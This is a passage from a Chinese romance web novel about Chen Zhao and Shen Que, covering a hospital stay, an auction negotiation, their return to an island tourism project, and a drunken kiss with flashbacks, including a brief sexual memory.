“没想到昭昭你还怕针啊。” 沈确勾起一个笑容,却被陈昭瞪了回去。 等蒋姨离开后,沈确拿着脸岔,干净的毛巾过来,替她擦了擦憔悴的脸, 此时的陈昭不便说话,只口齿不清地简单问了他一句。 “你怎么来了?" 沈确不回答,只是掀开被子,在陈昭错愕的眼神下钻了进去,挨着她半躺下来。 她又口齿不清地连忙开口:“干什么!" 这次沈确倒是回答了,可回答的话却不是陈昭喜欢的。 “陪你,你这么抗拒,是怕姐夫发现?" “放心,病房门我已经反锁,谁也进不来,他看不到。还有你现在是伤患,病体更推不开我,只能顺从我。 “最后,你也不要觉得这不合规矩,我说的做的没有规不规矩!你是我的亲人,我陪着你谁也不能说什么,包括你。 他完全没有给陈昭拒绝的机会,侧身一躺,摁着她的脑袋埋入自己的胸膛。 陈昭皱眉,欲想挣脱,但他的力气容不得反抗一点。 最后还是无奈地“警示”他:“松开。" 但毫无卵用,反而沈确得寸进尺,搂的更紧。 他的心疼,全部流淌在陈昭看不见的瞳孔里。 陈昭不知道,孟太出殡那日,沈确就已经赶回了明港。 当初他最后悔的事,便是老太太临终前,他因为项目远在国外海峡,赶不回明港。 后来等他悄悄回去后,一切都已经晚了。 那次是他除了陈昭结婚那天,这几年里唯一回明港的一次。但只有他自己知道。 陈家不欢迎自己,他不被其他人承认的身份也没有理由让他露面。 当时和陈昭的关系,更无法出现。 于是他就远远地守在屋子外面,却不小心让他看见了陈昭难过痛苦的一面 沈确打听到当初老太太出殡那天,她非常冷静,非常沉着地一手包办后事. 甚至有媒体还怀疑她和老太太的感情。 因为过于冷静。 可在别人没看到的地方,沈确看到陈昭坐在花园里淋了整整一晚的雨,一直在哭, ,一直在说对不起。 手里还拿着她和老太太的照片,那一刻沈确几乎没忍住想冲破院门,去她身边。 可孟均的车停在了屋子外面,最终也阻拦了他的步伐。 但沈确不知,那次孟均回她的住所,陈昭藏于房间,佯装不在。 所以这一次,沈确知道孟太离世,她心里也不好受。 不想重蹈以前的覆辙,把她一个人留在家里,让另一个男人抢占先机! 哪怕现在他光明正大地和她躺在一张床上,哪怕反锁的门会被人冲开,他也无所畏惧. 不过沈确如此“英勇”的一面,并没有被人打破。 安静的房间,只有他们两个人。 缩在他怀里的陈昭,就像一只受伤的雀鸟。 不知是痛的,还是累的,在他怀中陈昭很快就睡了过去。 对于沈确来说,这种不真实感,就像做梦。 像他无数个夜里曾经将她揽入怀中的梦。 本以为是再也得不到的奢想,可真正做了之后他才明白过来,陈昭的心里始终留了缝隙给自己,只要他不要脸,硬挤就可以挤进去 想到这,沈确的目光温柔下来,瞳孔里满满都是她的睡颜, 两人相拥而眠,好像都梦到了幸福开心的事,静谧的屋子里偶尔会传来类似轻笑的那般呼吸声。 次日天还没亮,沈确便依依不舍地先放开了她。 活动了下自己已经麻木的半只胳膊,又出门买了早餐,打了热水 等再次回到病房后,陈昭已经洗漱完毕,坐到了窗户边上。 看到沈确过来,微微一笑,佯装什么事都没发生过似的拿过他买的流心包。 吃了一个后,沈确都没反应过来,陈昭就给自己塞了一粒止痛药。 见效很快,坐了不到二十分钟,她的脸色明显好转了一些,腹部那股绞痛感也消失殆尽。 陈昭见时间差不多了,招呼沈确站起来。 “我本来约了宋女士喝杯下午茶,但她下午有点事情,只能早上和我见面。" “你如果不介意的话可以和我一起走。" 沈确一把拉住她的手:“你今天不打算在这休息? 陈昭的目光往下,落到两人交汇的手上,淡淡一笑。 “小毛病,一粒止疼药下去就好的事,没必要浪费时间。”见沈确还要阻拦,她又马上补充。 “宋女士是美心拍卖行的负责人,我上次拍了很多薛老的作品,我想你应该比我更了解那些东西,你在的话有更多的操作空间。 沈确明白她的意思,而且陈昭也没有打算听他的话。 见她的情况的确是好转了后,沈确才放任她离开。 涉及正式见面商谈要事,陈昭是绝不可能让自己憔悴地出现在别人面前。 所以从医院出来后,她先回很久没回去的住所收拾了一下。 又让沈确帮忙开车,送她去了美容室。 再次出来时,已是焕然一新的陈女士。 丝不苟的套装没有一点褶皱,顺滑利落的头发绑了个低马尾,显得整个人干练又挺拔,更是看不出是带病在身的人。 除了依旧红肿的嘴巴伤口。 陈昭双手环胸地坐在镜子前,眉头越皱越深,一旁的造型师替她想各种办法想遮掩下伤口。 但无论是化妆还是戴口罩,总觉得奇怪。 后来陈昭索性不遮了,就这样大大方方地由着伤口显眼。 只是谈点事而已,宋女士本来也挺平易近人的。 反倒是上车后,沈确盯着后视镜里取笑她。 陈昭皱着眉头不满地“警示”:“有那么好笑? 若换做以前,沈确是绝对不会在她面前表现出任何不敬的意思,别说取笑了,哪怕是一点多余的言语都不会有。 可他现在肆无忌惮,还打趣她是缺牙昭。 “缺牙昭。 “记得等会和宋女士见面不要笑。 “要不我还是给你去买个口罩吧?" 陈昭拿他无可奈何,索性伸手从他背后扼住他脖颈 微凉的掌心瞬间贴到他滚烫的肌肤上,沈确的身子激灵了一下。 下一秒却猛地拽住她腕骨,连带把她的身体都从后座拉近自己跟前, 他微昂下巴,带着上位者的凝视,还有那雄性天生的掌控欲,仿佛在嘲讽她这点力气,怎能敌自己十分之一。 陈昭错愕之际,攥紧拳头深吸了一口气:“松开!" 沈确唇角一勾,她说松开那就松开好了。 转身启动车子的时候,还不忘调侃:“昭姐别忘了,我已经长大了。” "还有今天是你有求于我,让我当司机就哄着我一点,不然我一个不开心就把你丢路边。 听闻这熟悉的话,陈昭被逗笑了。 因为以前她也说过这样的话逗沈确 以前她偶尔有几次周末主动去他学校接他回家,见他沉默地坐在后面不言不语,陈昭觉得无趣。 于是就会打趣他:“你让我陈昭给你当司机,你就得哄着我一点,我开心了,我才不会把你丢路边。 第一次,沈确信以为真:“你不开心吗?” 以为陈昭心情不好的他,紧皱着眉头想了几个冷笑话。陈昭被逗得笑容不止,那会真不知道如何说这个小孩才好。 后来几次,沈确就知道她是故意这么说,难得反骨一次,没有答话。 结果陈昭还真将他丢到了路边。 可沈确那会一点也不着急,他就在原地等着,从下午等到晚上,从天晴的午后等到毛毛雨的傍晚。 陈昭主动来找他,把车开到他身边后带着怒意。 “你还真在这等啊?这里有很多公交,可以直达家,这么大人了就不知道回去?" “我那会只是和你开玩笑,你… 在她气到快语无伦次时,沈确哑着声音只说了一句。 “别丢下我,也不要和我开这种玩笑了好吗?" 那一刻陈昭好像看见了满身碎裂的小马西,她哪还有气,只有浑身的懊悔. 她很难过,自己任性的玩笑话,对一个孤儿来说却犹如利刃。 “对不起,以后我不会了。 她那次真诚道歉,还接着他去吃了一顿大餐,犒劳下他受伤的心灵。 可是明明答应不丢下他的,七年前的那个晚上后,她还是食言了。 不知不觉想到这,陈昭脸上的笑容沉了下来。 窗外飞逝而过的景色被拉成一条条看不清的虚线,陈昭眼里唯一的清晰,就是沈确的后背。 她盯着逐渐出神,直到后视镜里沈确的灼灼地目光投射过来,她才晃神,目光下意识的避开。 沈确说:“如果身体没事的话,我就订明天的机票回聆海。 不容置喙的语气,陈昭张了张口,欲言又止。 她想了想,自己在明港也没什么呆的。 来到餐厅后,陈昭带着沈确一起进去。 彼时宋女士已经在那等着了,看到陈昭后,她连忙起身上迎: “陈小姐,真是好久不见!最近一直没你消息, 我都许久没和你约过下午茶了。 “不过今天也很抱歉不能和你久聚,下午我还要飞德国。 感到歉意的同时,她的目光还不忘停在沈确身上流转。 这个帅气的年轻男人,在陈昭身边,当然会引来他人的疑惑和注目。 借此机会,陈昭顺势介绍了下沈确,也打开了今天来见她的话题之门。 先不说那些贝雕画的本身,光是陈昭的面子,宋颖都会斟酌下作品的价值。 后来看到陈昭拍下来的那些细节画面,宋颖这才挪到更专业的角度,去细品这些精美的手工作品。 每一处的精雕细琢,精美绝伦,都让她感叹。 陈昭最擅长的便是谈判。 在这一点上,沈确都只能坐在一旁,充当一个旁白补充。 他看到陈昭不疾不徐地带着看不懂的微笑,三言两语,便将作品的价值抬上。 字字句句间,除了作品本身,也提到了不少沈确未曾听过的人名。 后来谈判完成,坐到车上后沈确问起来,陈昭只是笑着说。 "这世上的规则,价值都是人所赋予。我过去三十多年生在明港,所处的环境,本就是价值的体现。 沈确只笑:“看来昭姐还是很享受含着金汤匙的样子。" 陈昭不以为然:“有台阶不踩,那才不是明智之举。 话题转到沈确身上,陈昭看着他说:“阿确,从你到明港开始,你的台阶就比很多人要高,只要你想,那就. ''可你们的台阶并不是我想要走的路。陈昭,你说过只要我过得开心,和普通人一样就好。 陈昭勾唇一笑,认真点头:“没错,你开心就好。 “我现在很开心,尤其在你身边,我更开心。” 连试探都没有,直白说出。 沈确就是想看陈昭的反应,但意料之中,她就像没有听懂话中之言,坦然回答他. “你在我身边,我也很开心。" 是作为家人,也是作为心里的人。 本来陈昭是计划送走孟太后,又去见一见姑姑和老太太。 不过她们所在的陵园比较远,加上这次有沈确在旁,她和沈确一起去见姑姑,心里总是有些不安。 说不上来具体是种什么样的情绪,最后她还是放弃了这个想法。 和宋女士谈判成功的当天,她又在车上让惠玲帮忙出面,联系了几个线上很火的网红博主,并且正式邀请他们在下个月的月初,前往小岛打卡。 沈确知道费用不低,也明白她是想用那些网红宣传,所以才垫付的那些钱。 考虑到这是给薛老和小岛有益,沈确说:“等薛老的作品拍卖出去后,那些钱薛老肯定会主动给你,若是小岛上后续有了旅游效益,也可以和乡政府商议一下,对方会 “小沈同学 陈昭打断他的话,说了一句很欠揍的话:“我不差那点钱,我开心就好了,不是么。 沈确无语,把车停在了苏拉港口的专用停车场内。 陈昭说今天的谈判成功,值得庆祝一下。 所以来到这个她以前经常光顾的餐厅。 这里有明港最好的视野,能俯瞰整座城市。 兴许是陈昭习惯了小岛的宁静,冷不丁地回来,大有一种绚烂的不真实感 她要了一个不靠窗的包间,刚进去没多久,门口就传来一个熟悉的声音。 “陈小姐?你…回来了?" 陈昭看过去,来人是大舅的司机张叔。 她笑了笑,点头示意。但张叔没有走的意思,反而看到沈确脸色微变,犹豫了下开口 “陈先生也在,要不要…"” “不用了张叔,我和阿确两个人吃饭,不想被人打扰。" 陈昭收拢笑意,开口拒绝后主动带上门。 沈确眉眼含笑:“公主是一点面子也不给啊。 陈昭不需要给任何人面子,尤其是大舅。 她回明港,他们肯定是第一时间知道,现在让张叔过来请人,指不定对沈确也没好脸色。 与其见面不快,那就没有见面的必要。 不过对方显然不满她的拒绝,他们吃到中途后,门外又响起了张叔的声音。 “陈小姐,陈先生想见见你,说是有点事情想和你说。” 陈昭轻抿了一口茶,但没回话。 看到沈确欲出声,她伸手堵住他的嘴巴,用眼神警示他不要开口。 不要让别人扰了他们的兴致才是。 陈昭压低声音:“我只想吃好吃的。” 沈确眉眼轻动,捏住她的腕骨将她的手拉下来。 松开前一秒,指腹还在她的腕骨中心摩挲了一圈,当着陈昭的面,一点也不掩饰。 嘴上却什么都没说。 就像一股酥麻的电流窜过陈昭的筋脉。 她微蹙眉头,有那么一瞬,她真的感觉到了沈确是故意在挑逗自己 可多一眼看去,他的目光又无比正经。 包间门不开,张叔等了一会悻悻离开。 等外面没了声音后,两人才相视一眼,碰了碰杯, 两人都没有喝酒,吃完这顿饭便去买了点零嘴开车回到住所。 来到那熟悉的洋房,沈确的心逐渐地沸腾起来。 他们一前一后地走进去,就好像很多年前,陈昭在周末的时候把他接回家。 一切如旧,但又不一样了。 沈确的房间更是没有变过,他的校服外套,一如既往地挂在椅子后背,干净崭新,连书桌台面都没有一点灰尘。 中间这么多年的时光,好像只是一场梦似的。 虽然他知道这些都归功于菲佣。 他在房间里走了一圈,看到他所有的东西都原封不动地在那,又忽然想起了什么。 快去打开抽屉里的一个暗格,发现里面还遗落了他和陈昭的一张合影 记忆中在这,现在也果然在这。 沈确的指腹轻轻摩挲着照片,心里的某些情绪,就好像海底喷发的火山,卷起层层海浪冒了出来。 31、031. 他手心一紧,终是忍不住打开房门,那一刻的冲动,满满支配他的大脑 他恨不得将自己心里的所有话全部倾吐出来,也不想等那么长的时间。 可走到陈昭的房间门口,仅有的那点理智又把他拉回现实。 他们好不容易关系恢复到现在,这还不是最佳的时机。 他还只看到了陈昭心里的那点裂缝。 他要的是,自己在陈昭的心里扎根,无法被扯出,无法摆脱的那种 昏暗中,沈确沉下眸光,压抑住心里的排山倒海,缓缓转身离开了这。 漫长的夜晚,沈确让自己彻彻底底地沉浸在回忆之中,靠过去的亲昵去滋养他,同时也去抚平躁动的内心。 次日一早,沈确叫了车接他们回明港. 在前往机场的路上,巧合地与正赶过来的孟均的车擦肩而过 坐在左侧的沈确,一眼就看到了迎面而来的那辆车上,驾驶位坐着的孟均, 这条路本就是园区内部道路,不宽,车也少。 可沈确只瞄了一眼,余光见陈昭目视前方,并没有言语。 直到陈昭的手机响起来,他的脸色才微变。 陈昭看到屏幕上的孟均两个字,犹豫了一会要不要接。 而这短暂的犹豫下,手机被沈确按灭,声音也夏然而止。 愕然中,沈确只说:“如果一件事让你犹豫,那就选择否。 这也是陈昭以前告诉过沈确的。 陈昭发现,他是自己见过最会学以致用的人。 自己曾经说的很多话,好像都被他放在心里,随时都能拿出来 孟均打了一次电话没回应后就没打了。 陈昭也很疲惫,上了飞机就靠着窗户睡过去。 沈确见她姿势奇怪,索性托着她的脖子靠到他的肩膀上。 然后才满意地往她的方向偏了偏。 两个脑袋依偎在一起,就是沈确想要的。 他们会聆海后,还有下午最后一趟前往小岛的船。 回来沈确谁也没告诉,可没想到,船才刚到码头,就有一道两道熟悉的声音传过来,闹哄哄的一片。 “昭昭!” “昭昭姐!哎呀你可算回来了!” “陈小姐。" 沈确狐疑地看过去,还没反应过来,还背着书包的周竹君已经冲陈昭跑了过来,不顾一旁的沈确,经直给阵昭一个大大的押抱!“昭昭姐啊,一日不见如隔三秋,你不知道你才离开几天,我天天晚上做梦都是你!!"“我妈已经给你做了好吃的生腌!"除了她,还有康老师也背着小包来接她了。陈昭惊讶不已:“康老师?你怎么也来了?"康老师笑了笑:“我在小君家的饭店吃饭,听到她说你今天回来,我就和小君一起来了。小君连书包都没来得及放呢!周竹君马上拍着胸脯道:“肯定啊!来接我昭昭姐,放什么书包!昭姐,我还带着我心爱的小车车来接你了,快上车。”“车?”陈昭诧异,然而路边只有一辆被重新喷过漆的小三轮车。白色的油漆涂得不是很均匀,但旁边绑着的玩偶,气球等等玩具,真是有周竹君的影子。她的跟屁虫刘润生,正侧坐在三轮车里,礼貌地和陈昭打招呼。康老师也是满脸稀奇的爬到三轮车上,坐了个小板凳。咸湿的海风带着一股热意吹来。这里阳光明媚,不像明港阴雨绵延的样子。被蒙尘的心恍然敞亮,那股难以言喻的美好心情,萦绕在头沈确也大步跨到三轮车上,让周竹君一脸的为难。“确哥,你加上来我蹬不动啊!你也太难为我了。沈确下巴一昂,傲娇地环顾双手:“这么菜?"周竹君哪能听这种话,当即把书包一扔,果断哼哧哼哧地踩轮子。路平地回去,也把她累得够呛。润生想帮帮她,这丫头还不要,非要着一口气踩回去,等到了芬姐饭店后,周竹君累得瘫在店外的椅子上,对沈确直翻白眼。取下口罩的陈昭露出了自己的伤,那颗牙虽然缺了一点点,但也不影响什么,主要是嘴唇的伤口,看着有些瘆人。芬姐还担心不已,就连在厨房帮忙的蔡叔,听说她受伤了,抡着铲了就跑出来:“怎么回事啊?"陈昭只道:“不是大问题,就是不小心摔了一下,没事没事。芬姐知道她回去是家里人出了点事,夫家的老太太去世,想必此刻的心情是不好的。于是芬姐拦着别人不让他们多问,调节了气氛唤竹君去拿饮料。她又欢欢喜喜地从厨房里端来了特别多的好吃的,都是她提前为陈昭做好的。等到了正式吃饭的点,蔡奇也从修车店里赶回来。又是满满一桌子的人,围坐在暖色的灯光下,喧闹的声音和外面打在礁石上的海浪声,此起彼伏。吃到一半的时候,还有沈确他们同事来加入。带队的是杨指导。因此陈昭还收到了一份额外的惊喜,那就是杨指导邀请她一周后去他们的第二次观鲸体验里。陈昭看到邀请函,下意识地看了沈确一眼。他竟然没提起此事。殊不知此时的沈确眼色晦暗!原本想给她的一个惊喜,就这样被杨硕给破坏了。阁楼上还有他亲自写的邀请函。杨指导笑呵呵地还拍了下他的肩膀:“你没和你姐说这事啊,你小子太不厚道了啊。沈确抑制想倒扣他脑袋的冲动,没有言语。后来送陈昭回去的时候,忍无可忍地解释了一句:“那观鲸的.“我知道,你把邀请函放在阁楼了,我回去就能看见是吧?"沈确一怔,疑惑地看过去。然而陈昭只是耸耸肩,笑了笑:“我们是家人,我了解你。如果有这活动,他肯定不会忘记通知自己。以前他也做过很多类似的事情,所以陈昭才这么肯定,他是想给自己惊喜就像………以前他把录取通知书放在房间,没想到录取的电话提前打到了陈昭手机上。大学时他回家,拎着行李箱拿他打工赚到的第一笔资金,买了她很喜欢的小鲸鱼手链放在书房,没想到在商场消费的信息提前发给了她,沈确惊讶于她是如此了解自己,双手环胸,别有深意的开口。“这个世界上,像昭姐这么了解我的人,只有你。说到只有你三个字的时候,那双澄亮的目光灼灼地看了过去。似是要穿透陈昭的眼睛,看穿她藏在心里的慌乱。但陈昭一如既往地镇定,佯装没听明白后,正常地回到阁楼。等关上门后,脑海里才反复回响起那三个字。只有你。七年前的那一晚,他也说了同样的三个字。意乱情迷的陈昭捧起他的下颌,轻吻他的鼻尖,只有月光洒下的房间里,他的皮肤冷到透白光。然而鼻尖,脸庞却是晕红的。眼底也似蒙了一层情/欲的雾气,与陈昭一样。陈昭一边吻他一边问他:“有没有其他女孩,和我现在一样?"那是的沈确扶着她的细腰,两手一摁,便将她摁坐下去!沈确也是第一次在她面前露出占有,控制的一面。随着那股疼意贯穿,见她因自己的不可控制,莽撞而疼到蹙眉,沈确又慌忙亲吻着哄她,然后再如实告诉她。“只有你。他的心,只有她进来过。包括这具身体,也只有她,才和自己这么近距离那时的陈昭得到前所未有的满足,身下的沈确就像她捧在手心的明珠,耀眼又璀璨,让她挪不开目光,心甘情愿地沉沦在他滚烫的怀抱里。那个时候的陈昭,也没想过几个小时后,恢复理智的自己会那般绝情直接把一个亲密无间的“家人”,生生隔绝成了陌生人,陈昭深吸一口气,打开阁楼的灯,余光透过窗户,目送着沈确缓缓离开那条巷子桌子上果然有一张手绘的邀请函。距离小岛第二次观鲸体验还有将近一周的时间。这也足够陈昭去做一些事情。比如,她先去薛老那聊了一下作品拍卖的事宜。再然后,又主动联系杨硕还有村里的一些干部,让他们来薛老家,顺便说了一下博主会过来进行相关拍摄等工作。开始那些村干部还不太明白什么是博主,他们过来拍摄什么。直到杨硕帮他们解释后,才恍然过来,原来那些博主有那么大的影响力。他们能过来等同于莫大的宣传机会,当即村委重视起来,立刻召集一些人开会。陈昭有幸参加了,也说出了一些自己的看法。散会后,杨硕特意在门口等她。别的人不知道,杨硕却知道那些博主不是无故过来的,所以他也很好奇,不禁问了一句:“陈小姐,那些博主的推广费应该不便宜,你是.…”“有某层关系,顺带帮个忙而已,不用感到有压力。她微微一笑,看向海岸线的远方说道:“就像杨指导你以前说的一句话,小岛很好,但始终缺一个机会。杨硕抿唇一笑,也不再深入去聊,只是关心她:“我听说你前几天回老家了,家那边情况还好吧?"陈昭点头,表示一切都好。她这豁达,又镇定的样子,让杨硕又不由得感叹了一句。“只是可惜了,你已经有了爱人。不然,我真的会努力努力追求你,虽然可能后果不如我所想,但也不遗憾嘛。陈昭被他逗笑,只道:“杨指导一表人才,又这么优秀,迟迟没有结婚,想来对另一半是有要求的。"“要求?我向来只觉得随缘就好。眼缘,人生缘,价值缘”这还的确是有点难度。“我今晚去和博主们确定一下,能赶上观鲸的人数,也算是其中之一的体验,如何?"她思维跳脱太快,差点让杨硕没有跟上。反应过来后,马上点头,有针对地做了计划。接下来的几天,陈昭忙碌在此事中,偶尔也去康老师的小楼里看看施工进展。康老师也被邀请到了第二次的观鲸体验里。让她没想到的是,小岛上的村委会,在开会一天后,马上拿出了执行计划。为了配合那些博主的宣传拍摄,他们专门派人和陈昭对接,把小岛上的一些特色活动,值得推崇的旅游文化,统统展现出来.还挨家挨户地分发了特别的公告,让村里的渔民们都动员起来,为接待推广的网红们打造一个好环境。以至于博主们来到此地的前三天,家家户户就已经开始了彻头彻尾的清扫工作。天到晚,广播里都在循环播放,要讲究卫生,做三好公民,甚至每天还有村里人分时段值班,在村子里各处的垃圾点蹲守。不许随便乱扔垃圾,还要按时清扫道路。短短时间,小渔村好像又回到了年前大扫除的时候。杨硕那摄影师朋友杨铭还主动担任起“美学专家”,为了拍照好看,劝慰沿海岸的那几户把当家的海鱼干,鱿鱼干都晒到外面。一派的烟火气。沈确这几天似乎也忙得很,一直都没见人影。陈昭躺在阁楼里的时候偶尔会想起他,可每每拿过手机想问一问情况的时候,犹豫之下,她最终还是删除了那些话,回到了空白的对话框里,。六六在蹭她的脚,见她看过来,又顺势爬上她的大腿,窝成一团就在她身上舒服地眯起了眼睛。 陈昭亲了亲它的脑袋,无意识地说了一句。 “你说阿确现在在做什么?" 哪知话音刚落,门口忽然传来一阵锤响。 把六六吓的瞬间躲去了床底下。 陈昭来不及抓它,有些疑惑地去拉开房门。 刚打开,就看见沈确带着一点酒气,一手抵在墙壁上,目光紧紧凝视她. “沈确?你.…" 陈昭的话还没说完,沈确主动上前,捧起陈昭的脸,狠狠吻了下去! 顿时陈昭的脑袋一片空白,呼吸被掠夺的瞬间,仿佛失去了思考的能力。 他的舌头长驱直入,轻而易举地撬开她唇齿。 但也仅仅只是一瞬间的事,沈确被门槛绊倒,跟跄一声竟毫无意识地摔在了地上 然后毫无反应了。 “沈确,沈确! 32、032. 她试图加大音量将他喊起来,但一切都无济于事。 陈昭无奈又恼火,僵硬着身体想着以什么样的姿势拉她起来才是最好的。 可实验下来,她发现喝醉酒的人,身体沉得不像话,根本抬不起来。 最后陈昭投降,拿来枕头和被子,想让他在这将就一晚算了。 好在这是木地板,盖上被子再让他滚一圈,顺势垫一半被子,也不会着凉, 然而陈昭才刚放下枕头,沈确忽然抬头,茫然地与她四目相对,然后说了一句:“洗手间,我想去洗手间。" 陈昭顿愣了一下,还未反应过来,沈确已经跌跌撞撞地起身, 陈昭见他往厨房走,连忙扶着他的胳膊把他带去洗手间。 "你慢点,小心别撞上!" 然而话还没说完,他竟拽开了皮带,裤子掉下来。 陈昭迅速背过身,两步跨出洗手间把门带上。 这时她心跳猛然加快,身体的血液好像灼烧起来,从头到尾,让体温骤然上升。 她打开房门,听着从里传来的隐隐水声,莫名想起曾经的她,也有过这么一段尴的事。 久远到她都已经忘了,若不是今天类似的事发生,她都想不起来。 那是陈昭去参加一个午宴,不小心威了脚,打了石膏后被送到别墅休养。 恰逢周末,沈确在家。 白然而然便成了照顾她起居的人。 不巧的是,陈昭在这么不方便的时候来了月经,偏偏还弄脏了裤子。 意识到这点后,她趁着沈确上楼,自己拄着拐杖慢慢朝一楼洗手间而去。 她上了个厕所,又换了新的裤子,可单脚不便,新外裤还没提起来,身子竟忽然失去重心,狠狠摔在马桶旁。 听到沈确冲过来的声音,她忍着疼痛支起手,第一时间冲了马桶, 然而嘴里制止的话还没来得及说出口,沈确就已经闯了进来。 当时的他也许也没想那么多,一把将她横抱起来。 可陈昭被吓了一跳,慌慌张张地要去伸手拿毛巾遮挡。 偏偏沈确快速转身,成功避开了她挂毛中的方向,气得她话都骂不出来。 “诶你.….毛巾.…" 沈确一顿,又抱着她转回毛巾架下,这么一来回旋转,陈昭的脚把放在台面上刚换下来的血渍内裤勾到了地上。 沈确的目光顺势看去,陈昭明显感觉到他的身子僵硬了一下! 猛然加快的心跳声就连她都听得无比清晰。 少年的身体,瞬间变得硬实紧绷,像烙铁一样。 紧紧抱着她胳膊和双腿的那双手,也微微挪动方位,成了拳头, 他在尽可能地避开和她的肢体接触,也在尽可能地避开和她碰撞在一起的目光。 鼻息也在顿愣中凌乱。 陈昭傻眼了,虽然吓出一身冷汗,但年长几岁的沉稳还是有的。 她不动声色地挪动双手,遮盖了自己穿着的小熊内裤后,佯装镇定地示意他, “往左一点,我拿下毛巾。 沈确的思绪被她的声音强制拉回来。 他马上抱着她往左边去,她拿上那块浴中,盖住了自己下身,然后“使唤他”:“麻烦你带我去房间,我要换干净的衣服。 “脏了的衣服你不要动它,阿姨会来处理。" “好。” 沈确硬着头皮吭了一声,又在陈昭的使唤下,微微屈身,让她能捡起那条尴尬的裤子,然后看着她丢入垃圾桶 从洗手间到客厅的距离,不过几米。 却生生让沈确有种跑了三个八百米那么长。 他不敢和陈昭对视,甚至眼神都不敢乱撇,只敢目视前方,一脸紧绷的把她放在床上。 松开她后,才火急火燎地转身先走。 可走出房门,又被陈昭喊回来:“帮我关下门。“ 沈确又老老实实折回房间,快速拉上门把手将它合上。 房门关闭的声音传来时,沈确憋着的那口气终于能吐出来了。 他垂眸看着白己两只滚烫的手,片刻的尴尬后,替代的竟是诧异。 他诧异,陈昭的身体是那么轻,那么软。 平时那么凌厉锋锐的女人,私下却穿着可爱的小熊裤子。 明明和自己一样被吓到,但还是强装镇定,要拿回她的场面 他来到厨房灌了一口冰水,又靠墙站着,双手撑在冰凉的理石台面上,感到一股难以启齿的滚烫往下腹聚拢, 他面色如血,青筋凸起的双手骨节分明. 殊不知,那时的陈昭只恨不得钻进地缝中。局促和尴尬几乎都要淹没她。 也许此事对她的冲击太大,她也无法面对这么尴尬的事情。 所以后来装成什么事都没发生过,渐渐地,也就被自己选择性地遗忘了 直到现在她才想起来。 回忆至此,屋内的声音也停了。 担心他真出什么事,陈昭还是决定转身去洗手间看看 好在沈确已经自己出来,倒在了沙发上。 甚至连马桶都已经冲好了,只不过就是裤头系歪了。 陈昭有强迫症,看不得这么别扭的画面。 忍无可忍地上手要将他裤头扭正,然而沈确又像诈尸一般突然睁开眼睛质问她。 “想轻薄我?” 陈昭两手一松,被无语到了。 正要解释之际,他又翻个身子睡了过去。 陈昭起身,把被子给他盖上。 看到他安静的睡颜,心里咯噔了一下- 股难以言喻的情绪又悄然爬上来。 她不动声色地起身,走到屋外的椅子上,看向月亮高挂的天际,思绪一下子乱了。 她时不时的抬头,又时不时地回头,椅子摇晃间,顺手捡起旁边的一个石头。 她摸了摸石头凸出的那个小点,心力想着姑姑。 她说,她也想顺着自己的心意,尝试面对自己隐藏的内心,试着去接受那个小孩。 可是她又不敢,怕无法面对姑姑,也不愿那小孩的人生挂在自己身上。 她紧捏着石头,又深深叹了一口气,想起姑姑曾经满怀希望地和她说。 “我希望我们这么优秀的阿确,被一个漂亮可爱的小姑娘带到一个美满的家庭中,过上有父母疼爱,妻儿关怀,他上辈子从未享受过的美好日子。 “这样,我也就开心了。" 她不是漂亮可爱的小姑娘,没有美满的家庭,给不了他父母疼爱,妻儿关怀的日子。 反倒自己和他的这层关系,成了她过不去心里的另一道坎。 陈昭觉得,只要提起沈确,她就会有两个自己。 个想要冲破桎梏,不顾一切地试着接受这段感情。而另一个,则顾虑重重,无法拿他的未来坦然去赌。 因为她觉得除了家人的感情能长久外,爱情,很有可能会让他们中断联系。 过去的七年,就是最好的佐证。 矛居又拧巴的陈昭,想把这个选择交给天意 于是她将那个石头抛上天际,静等它落下。 如果凸起的那一面在上,她就试着去接受。如果凸起的那一面在下,那就放下感性,去理智回到家人的关系, 石子落地的那一刻,陈昭嘴角动了动。 这.….就是天意, 次日一早,陈昭醒过来时,沈确已经不知所踪。 但桌子上多了一袋包子和油条,还有温热的豆浆。 手机上还有他发的一条信息。 【昨晚辛苦你了,我有早会先走了,早餐放桌上,豆浆如果凉了的话可以热热再喝。】 陈昭浅浅一笑,洗漱了后把他带的那些早餐全部扫光。 接下来的几天,他们默契的没有提起此事。 她只是在别人的只言片语中,得知那天沈确的确喝多了,据说是有个师兄来岛上,他接待了师兄。 陈昭也没多想。 很快便到了博主登岛的日子。 但联系的那些博主基本都是错开来的,最先到的是四个大体量的博主, 陈昭事先和他们在线上聊过,也做了一些具体的计划。 那天早上她穿上相对正式的服装,下楼时于思存蹲在院子里刷牙 看到她这身装扮,双眼顿时亮堂起来:“昭姐你上哪去啊?" 心里感叹,果然一般女人是沈确看不上的,像昭姐这款成熟稳重又锋锐的女人,社会上也难找吧? 关键这脸蛋儿,美的跟天仙似的。 她要是个男的,她也喜欢。正好陈昭还想和她聊件事。于是顺势笑着回答她:“去接待几个博主,今天打算带他们在小岛上逛逛,晚上在月亮屋前有个篝火歌会,思存,你可以过来献唱两首吗?她想当然的以为思存会答应,一来她喜欢凑热闹,二来又是有利于宣传小岛的活动,三来她喜欢唱歌。可没料到思存脸色微变,竟然面露尴尬,婉拒了她。“那个昭姐,对不起啊,我不太想去。”她不习惯撒谎,也知道随便编个理由搪塞并不礼貌。所以才如实告知。陈昭愣了一下,但也没多问:“没事,不想去的话咱们就不去,什么时候你愿意了,或者你想和我们一起游游小岛,随时和我联系。陈昭晃了晃手机,没有刨根究底,让于思存很是感激。 但也很愧疚。 当她把这计划之外的事说出来时,蔡奇腾地一下站起来,十分不解。 “她平时不挺喜欢凑热闹的么!怎么说不来就不来?这可是为咱们小岛做贡献的时候,早就计划把她安排到歌会里了,她不来,那歌会谁来唱啊? “这于思存怎么关键时刻那么不靠谱,不行,我现在就去把她拉来。 陈昭连忙拦下他: “不必勉强,也怪我们事先没提前说,思存应该是有事,如果歌会没人的话,这一P我们可以去掉。 “她不来的话,我就去拉几个小岛清吧里的其他歌手,诶,咱们这不是还有一个现成的人么!" 说完,蔡奇已经溜去后厨,把颠大勺的蔡叔拎出来。 "年过半百,追梦失败却一心造梦,从未放弃梦想的草根大哥!你看我人设都给你想好了,他们那些博主不就是喜欢特别的故事么,如果能剪刀他们Vg0里,配上一些励志桥情的文案,肯定出彩。 蔡叔一脸茫然,不解地盯着他儿子:“什么草根大哥?又找打?"